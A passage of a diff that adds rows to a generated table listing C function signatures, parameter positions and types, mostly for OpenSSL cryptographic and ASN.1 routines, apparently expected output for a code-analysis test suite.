char[16],cbc128_f) | | CRYPTO_cts128_encrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_decrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f) | | CRYPTO_nistcts128_encrypt | 5 | cbc128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f) | | CRYPTO_ofb128_encrypt | 6 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_1_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_8_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f) | | CRYPTO_cfb128_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 6 | unsigned int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f) | | CRYPTO_ctr128_encrypt | 7 | block128_f | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 3 | const void * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 6 | unsigned int * | +| (const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f) | | CRYPTO_ctr128_encrypt_ctr32 | 7 | ctr128_f | +| (const unsigned char[16],SEED_KEY_SCHEDULE *) | | SEED_set_key | 0 | const unsigned char[16] | +| (const unsigned char[16],SEED_KEY_SCHEDULE *) | | SEED_set_key | 1 | SEED_KEY_SCHEDULE * | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 0 | const unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 1 | unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_decrypt | 2 | const SEED_KEY_SCHEDULE * | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 0 | const unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 1 | unsigned char[16] | +| (const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *) | | SEED_encrypt | 2 | const SEED_KEY_SCHEDULE * | | (const vector &) | vector | vector | 0 | const vector & | | (const vector &,const Allocator &) | vector | vector | 0 | const vector & | | (const vector &,const Allocator &) | vector | vector | 1 | const class:1 & | +| (const void *,const void *) | | Symbolcmpp | 0 | const void * | +| (const void *,const void *) | | Symbolcmpp | 1 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 0 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 1 | const void * | +| (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 2 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 3 | int | +| (const void *,const void *,int,int,..(*)(..)) | | OBJ_bsearch_ | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 2 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 3 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | OBJ_bsearch_ex_ | 5 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 0 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 1 | const void * | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 2 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 3 | int | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 4 | ..(*)(..) | +| (const void *,const void *,int,int,..(*)(..),int) | | ossl_bsearch | 5 | int | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 0 | const void * | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 1 | size_t | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 2 | const char * | +| (const void *,size_t,const char *,int) | | CRYPTO_memdup | 3 | int | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 0 | const void * | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 1 | size_t | +| (const void *,size_t,unsigned char *) | | WHIRLPOOL | 2 | unsigned char * | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 0 | const void * | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 1 | size_t | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 2 | unsigned char ** | +| (const void *,size_t,unsigned char **,size_t *) | | ossl_prov_memdup | 3 | size_t * | +| (const void *,sqlite3 **) | | sqlite3_open16 | 0 | const void * | +| (const void *,sqlite3 **) | | sqlite3_open16 | 1 | sqlite3 ** | +| (const_DES_cblock *) | | DES_check_key_parity | 0 | const_DES_cblock * | | (const_iterator,InputIt,InputIt) | deque | insert | 0 | const_iterator | | (const_iterator,InputIt,InputIt) | deque | insert | 1 | func:0 | | (const_iterator,InputIt,InputIt) | deque | insert | 2 | func:0 | @@ -835,6 +26345,47 @@ getSignatureParameterName | (const_iterator,size_type,const T &) | vector | insert | 0 | const_iterator | | (const_iterator,size_type,const T &) | vector | insert | 1 | size_type | | (const_iterator,size_type,const T &) | vector | insert | 2 | const class:0 & | +| (curve448_point_t,const curve448_point_t) | | ossl_curve448_point_double | 0 | curve448_point_t | +| (curve448_point_t,const curve448_point_t) | | ossl_curve448_point_double | 1 | const curve448_point_t | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 0 | curve448_point_t | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 1 | const curve448_precomputed_s * | +| (curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t) | | ossl_curve448_precomputed_scalarmul | 2 | const curve448_scalar_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 0 | curve448_point_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 1 | const curve448_scalar_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 2 | const curve448_point_t | +| (curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t) | | ossl_curve448_base_double_scalarmul_non_secret | 3 | const curve448_scalar_t | +| (curve448_point_t,const uint8_t[57]) | | ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio | 0 | curve448_point_t | +| (curve448_point_t,const uint8_t[57]) | | ossl_curve448_point_decode_like_eddsa_and_mul_by_ratio | 1 | const uint8_t[57] | +| (curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_halve | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_halve | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_add | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_mul | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 0 | curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 1 | const curve448_scalar_t | +| (curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t) | | ossl_curve448_scalar_sub | 2 | const curve448_scalar_t | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 0 | curve448_scalar_t | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 1 | const unsigned char * | +| (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | size_t | +| (curve448_scalar_t,const unsigned char[56]) | | ossl_curve448_scalar_decode | 0 | curve448_scalar_t | +| (curve448_scalar_t,const unsigned char[56]) | | ossl_curve448_scalar_decode | 1 | const unsigned char[56] | +| (custom_ext_methods *,const custom_ext_methods *) | | custom_exts_copy | 0 | custom_ext_methods * | +| (custom_ext_methods *,const custom_ext_methods *) | | custom_exts_copy | 1 | const custom_ext_methods * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 0 | d2i_of_void * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 1 | const char * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 2 | BIO * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 3 | void ** | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 4 | pem_password_cb * | +| (d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *) | | PEM_ASN1_read_bio | 5 | void * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 0 | d2i_of_void * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 1 | const char * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 2 | FILE * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 3 | void ** | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 4 | pem_password_cb * | +| (d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *) | | PEM_ASN1_read | 5 | void * | | (deque &&) | deque | deque | 0 | deque && | | (deque &&,const Allocator &) | deque | deque | 0 | deque && | | (deque &&,const Allocator &) | deque | deque | 1 | const class:1 & | @@ -843,17 +26394,689 @@ getSignatureParameterName | (forward_list &&) | forward_list | forward_list | 0 | forward_list && | | (forward_list &&,const Allocator &) | forward_list | forward_list | 0 | forward_list && | | (forward_list &&,const Allocator &) | forward_list | forward_list | 1 | const class:1 & | +| (gf,const gf,const gf) | | gf_add | 0 | gf | +| (gf,const gf,const gf) | | gf_add | 1 | const gf | +| (gf,const gf,const gf) | | gf_add | 2 | const gf | +| (gf,const gf,const gf) | | gf_sub | 0 | gf | +| (gf,const gf,const gf) | | gf_sub | 1 | const gf | +| (gf,const gf,const gf) | | gf_sub | 2 | const gf | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 0 | gf | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 1 | const uint8_t[56] | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 2 | int | +| (gf,const uint8_t[56],int,uint8_t) | | gf_deserialize | 3 | uint8_t | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 0 | i2d_of_void * | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 1 | BIO * | +| (i2d_of_void *,BIO *,const void *) | | ASN1_i2d_bio | 2 | const void * | +| (i2d_of_void *,FILE *,const void *) | | ASN1_i2d_fp | 0 | i2d_of_void * | +| (i2d_of_void *,FILE *,const void *) | | ASN1_i2d_fp | 1 | FILE * | +| (i2d_of_void *,FILE *,const void *) | | ASN1_i2d_fp | 2 | const void * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 0 | i2d_of_void * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 1 | X509_ALGOR * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 2 | X509_ALGOR * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 3 | ASN1_BIT_STRING * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 4 | char * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 5 | EVP_PKEY * | +| (i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *) | | ASN1_sign | 6 | const EVP_MD * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 0 | i2d_of_void * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 1 | const char * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 2 | BIO * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 3 | const void * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 4 | const EVP_CIPHER * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 5 | const unsigned char * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 6 | int | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 7 | pem_password_cb * | +| (i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio | 8 | void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 0 | i2d_of_void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 1 | const char * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 2 | FILE * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 3 | const void * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 4 | const EVP_CIPHER * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 5 | const unsigned char * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 6 | int | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 7 | pem_password_cb * | +| (i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write | 8 | void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 0 | i2d_of_void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 1 | d2i_of_void * | +| (i2d_of_void *,d2i_of_void *,const void *) | | ASN1_dup | 2 | const void * | +| (int64_t *,const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get_int64 | 0 | int64_t * | +| (int64_t *,const ASN1_ENUMERATED *) | | ASN1_ENUMERATED_get_int64 | 1 | const ASN1_ENUMERATED * | +| (int64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_int64 | 0 | int64_t * | +| (int64_t *,const ASN1_INTEGER *) | | ASN1_INTEGER_get_int64 | 1 | const ASN1_INTEGER * | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 0 | int * | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 1 | ASN1_TIME ** | +| (int *,ASN1_TIME **,const ASN1_TIME *) | | ossl_x509_set1_time | 2 | const ASN1_TIME * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 0 | int * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 1 | X509 * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 2 | stack_st_X509 * | +| (int *,X509 *,stack_st_X509 *,unsigned long) | | X509_chain_check_suiteb | 3 | unsigned long | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 0 | int * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 1 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 2 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 3 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 4 | const char * | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 5 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 6 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 7 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 8 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 9 | int | +| (int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **) | | init_client | 10 | BIO_ADDR ** | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 0 | int * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 1 | int * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 2 | const ASN1_TIME * | +| (int *,int *,const ASN1_TIME *,const ASN1_TIME *) | | ASN1_TIME_diff | 3 | const ASN1_TIME * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 0 | int * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 1 | int * | +| (int *,int *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_get0_info | 2 | const EVP_PKEY_METHOD * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 0 | int * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 1 | int * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 2 | const tm * | +| (int *,int *,const tm *,const tm *) | | OPENSSL_gmtime_diff | 3 | const tm * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 0 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 1 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 2 | int * | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 3 | const char ** | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 4 | const char ** | +| (int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_get0_info | 5 | const EVP_PKEY_ASN1_METHOD * | +| (int *,int *,size_t) | | EVP_PBE_get | 0 | int * | +| (int *,int *,size_t) | | EVP_PBE_get | 1 | int * | +| (int *,int *,size_t) | | EVP_PBE_get | 2 | size_t | +| (int *,int) | | X509_PURPOSE_set | 0 | int * | +| (int *,int) | | X509_PURPOSE_set | 1 | int | +| (int *,int) | | X509_TRUST_set | 0 | int * | +| (int *,int) | | X509_TRUST_set | 1 | int | +| (int *,sqlite3_stmt *) | | shellReset 